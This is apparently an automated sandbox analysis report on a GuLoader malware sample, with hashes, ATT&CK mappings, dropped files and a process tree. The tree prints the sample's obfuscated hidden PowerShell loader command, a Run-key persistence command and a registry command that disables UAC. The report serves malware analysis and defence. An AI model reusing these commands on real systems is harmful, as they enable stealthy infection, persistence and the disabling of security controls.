guloader | 794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/09/2024, 14:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326.exe
Size 912KB
Sample240902-rjepssshle
SHA256 794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326
MD5 d31458f5305e5071039b1d90013d0f20
SHA1 48ed3751fa79b2a8e0736cf07713615555f4392c
SHA512 b09897570735c1e946d53c7658dfb05daadb0a4ab7a14d2ebb183b15a48bbdcdcfee3ec7a6d6edcfe3c3f1917db19e0eefaf76060d69650789f9fe54763f67e0
SSDEEP 24576:GOreqsBKu6bUClPqyEYuH3ESEO0fG5vq7HK:GOCTKu6AwyyE/yfyq7q
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader discovery downloader evasion execution persistence trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2964	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	halshuggende.exe

Loads dropped DLL 1 IoCs

pid	Process
3884	halshuggende.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Noninherence = "%Frabedendes% -windowstyle minimized $Inquietudes=(Get-ItemProperty -Path 'HKCU:\\Specialforretning\\').Megacerotine;%Frabedendes% ($Inquietudes)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	drive.google.com
26	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
3884	halshuggende.exe
3884	halshuggende.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2964	powershell.exe
3884	halshuggende.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2964 set thread context of 3884	2964	powershell.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	halshuggende.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4628	reg.exe
1672	reg.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe
2964	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3884	halshuggende.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3848 wrote to memory of 2964	3848	794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326.exe	86
PID 3848 wrote to memory of 2964	3848	794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326.exe	86
PID 3848 wrote to memory of 2964	3848	794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326.exe	86
PID 2964 wrote to memory of 3884	2964	powershell.exe	95
PID 2964 wrote to memory of 3884	2964	powershell.exe	95
PID 2964 wrote to memory of 3884	2964	powershell.exe	95
PID 2964 wrote to memory of 3884	2964	powershell.exe	95
PID 2964 wrote to memory of 3884	2964	powershell.exe	95
PID 3884 wrote to memory of 2328	3884	halshuggende.exe	96
PID 3884 wrote to memory of 2328	3884	halshuggende.exe	96
PID 3884 wrote to memory of 2328	3884	halshuggende.exe	96
PID 2328 wrote to memory of 4628	2328	cmd.exe	98
PID 2328 wrote to memory of 4628	2328	cmd.exe	98
PID 2328 wrote to memory of 4628	2328	cmd.exe	98
PID 3884 wrote to memory of 4984	3884	halshuggende.exe	99
PID 3884 wrote to memory of 4984	3884	halshuggende.exe	99
PID 3884 wrote to memory of 4984	3884	halshuggende.exe	99
PID 4984 wrote to memory of 1672	4984	cmd.exe	101
PID 4984 wrote to memory of 1672	4984	cmd.exe	101
PID 4984 wrote to memory of 1672	4984	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326.exe
"C:\Users\Admin\AppData\Local\Temp\794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Redubber=Get-Content 'C:\Users\Admin\AppData\Local\twinsomeness\Non\taaren.Min';$Fleurs=$Redubber.SubString(10682,3);.$Fleurs($Redubber)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Users\Admin\AppData\Local\Temp\halshuggende.exe
    "C:\Users\Admin\AppData\Local\Temp\halshuggende.exe"
    3⤵
    - Checks computer location settings
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3884
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Noninherence" /t REG_EXPAND_SZ /d "%Frabedendes% -windowstyle minimized $Inquietudes=(Get-ItemProperty -Path 'HKCU:\Specialforretning\').Megacerotine;%Frabedendes% ($Inquietudes)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2328
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Noninherence" /t REG_EXPAND_SZ /d "%Frabedendes% -windowstyle minimized $Inquietudes=(Get-ItemProperty -Path 'HKCU:\Specialforretning\').Megacerotine;%Frabedendes% ($Inquietudes)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4628
  - - C:\Windows\SysWOW64\cmd.exe
      /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4984
    - - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:1672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 03e9ad99fe7c96a126e643953e4347e9acdc50b6007a3c1a306fe3b2ece4d8b7
MD5 4f1ba31c8ed66181d2c4d39cda89c34b
SHA1 2eb8ffa863eb6f4bde876f2872005d1be14ca5ba
SHA512 3e179c6ed9869b811f46b818117a3a506017ef2fa84877ea778f84e6fc09d3825f89ffd683cfbcb0bcde29ab61f153bee74351c4422e6407ac7ea371f0b8fbad
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_n4zfr53c.trj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n4zfr53c.trj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

halshuggende.exe

Path C:\Users\Admin\AppData\Local\Temp\halshuggende.exe
Size 912KB
SHA256 794d69096feb810330dfde5b14715d05da279f506c795e158cc431387b8de326
MD5 d31458f5305e5071039b1d90013d0f20
SHA1 48ed3751fa79b2a8e0736cf07713615555f4392c
SHA512 b09897570735c1e946d53c7658dfb05daadb0a4ab7a14d2ebb183b15a48bbdcdcfee3ec7a6d6edcfe3c3f1917db19e0eefaf76060d69650789f9fe54763f67e0
SSDEEP 24576:GOreqsBKu6bUClPqyEYuH3ESEO0fG5vq7HK:GOCTKu6AwyyE/yfyq7q
MD5 SHA1 SHA512 SSDEEP

Submit Download

taaren.Min

Path C:\Users\Admin\AppData\Local\twinsomeness\Non\taaren.Min
Size 73KB
SHA256 75488edaa2e04f1a21dfb11577b9f8c66f2a0df06cee871a090c6d1b659f3299
MD5 366c057966395cc642e71a51bad73bb2
SHA1 d509d341830ab04fb316f1ff5d8d1c493cf300ba
SHA512 a4816109dc2ae97e2f5f107df12c61718f1b7298ac853985f4c377ddb5bfa869b8ce4bea01fc75e00d9e4c95219c447bb47ffea11e7e03cf1a4f149dd0acaeda
SSDEEP 1536:ZR7SvOSGkrNxvoA7eLLc6q4hmeBGIS8l41wORWwZRBXVK2i3:ZR7eJto6YdzG1wYWG3VKj
MD5 SHA1 SHA512 SSDEEP

Submit Download

Palaeoniscidae.Bef

Path C:\Users\Admin\AppData\Local\twinsomeness\Palaeoniscidae.Bef
Size 342KB
SHA256 eaddb5038eb1bf4ad1c746f446fb7f7e322f2399b36cefefd677a86be48c99d4
MD5 133aaf772edfaa6a285b97c1ce72be71
SHA1 1a93606aac9005af7530a9279ec9d4681161bd80
SHA512 7a41016255b38930116b515c71c0056405c4be6ec71d3e01ab68d2cb02cf5612c52c594fd8b775e33b305cc5d27a98dbb428447faede7ec090b860caf480fba6
SSDEEP 6144:eJ8j56Li+YH0wD/j3qUOACKHt3f2MaeDGpib3ODsWVg0RsOY96Gvx:MPYUvKDP2pcGpZAWKZ99x
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2964-14-0x0000000005EC0000-0x0000000005F26000-memory.dmp

Download

memory/2964-36-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/2964-15-0x0000000005FA0000-0x0000000006006000-memory.dmp

Download

memory/2964-9-0x000000007418E000-0x000000007418F000-memory.dmp

Download

memory/2964-26-0x0000000006010000-0x0000000006364000-memory.dmp

Download

memory/2964-27-0x00000000065A0000-0x00000000065BE000-memory.dmp

Download

memory/2964-28-0x00000000065D0000-0x000000000661C000-memory.dmp

Download

memory/2964-29-0x0000000007570000-0x0000000007606000-memory.dmp

Download

memory/2964-30-0x0000000006AB0000-0x0000000006ACA000-memory.dmp

Download

memory/2964-31-0x0000000006B00000-0x0000000006B22000-memory.dmp

Download

memory/2964-32-0x0000000007BC0000-0x0000000008164000-memory.dmp

Download

memory/2964-13-0x00000000055B0000-0x00000000055D2000-memory.dmp

Download

memory/2964-34-0x00000000087F0000-0x0000000008E6A000-memory.dmp

Download

memory/2964-16-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/2964-37-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/2964-38-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/2964-12-0x0000000005820000-0x0000000005E48000-memory.dmp

Download

memory/2964-40-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/2964-41-0x0000000008E70000-0x0000000009DCF000-memory.dmp

Download

memory/2964-42-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/2964-43-0x000000007418E000-0x000000007418F000-memory.dmp

Download

memory/2964-45-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/2964-11-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/2964-10-0x0000000002F90000-0x0000000002FC6000-memory.dmp

Download

memory/2964-61-0x0000000074180000-0x0000000074930000-memory.dmp

Download

memory/3884-62-0x0000000001AA0000-0x00000000029FF000-memory.dmp

Download

memory/3884-64-0x0000000001AA0000-0x00000000029FF000-memory.dmp

Download

memory/3884-47-0x0000000001AA0000-0x00000000029FF000-memory.dmp

Download